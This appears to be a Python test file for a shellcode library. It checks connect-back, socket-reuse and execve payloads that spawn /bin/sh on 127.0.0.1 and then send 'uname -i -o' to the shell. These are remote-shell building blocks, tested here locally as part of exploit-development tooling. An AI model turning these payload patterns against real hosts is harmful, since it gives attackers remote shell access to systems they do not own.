def test(): port = 1111 command = ["/bin/uname", "-i", "-o"] sc = shellcode.connect("127.0.0.1", port) sc += shellcode.helloworld() testing.run_tcp_expect_recv_data(sc, "Hello World!\n", port) sc = shellcode.connect("127.0.0.1", port) sc += shellcode.execve_sh() expect = subprocess.check_output(command) testing.run_tcp_expect_recv_data_using_send_data(sc, expect, port, "uname -i -o\nexit\n")
def test(): port = 1112 sockfd = 20 command = ["/bin/uname", "-i", "-o"] sc = shellcode.reusefd(sockfd) sc += shellcode.helloworld() testing.run_tcp_client_expect_recv_data(sc, "127.0.0.1", port, sockfd, "Hello World!\n") expect = subprocess.check_output(command) sc = shellcode.reusefd(sockfd) sc += shellcode.execve_sh() testing.run_tcp_client_expect_recv_data_using_send_data(sc, "127.0.0.1", port, sockfd, expect, "uname -i -o\nexit\n") sc = shellcode.reusefd(sockfd) sc += shellcode.execve(["/bin/sh"]) testing.run_tcp_client_expect_recv_data_using_send_data(sc, "127.0.0.1", port, sockfd, expect, "uname -i -o\nexit\n")
def test(): command = ["/bin/uname", "-i", "-o"] sc = shellcode.execve_sh() expect = subprocess.check_output(command) testing.run_expecting_output_using_input(sc, expect, "uname -i -o\nexit\n")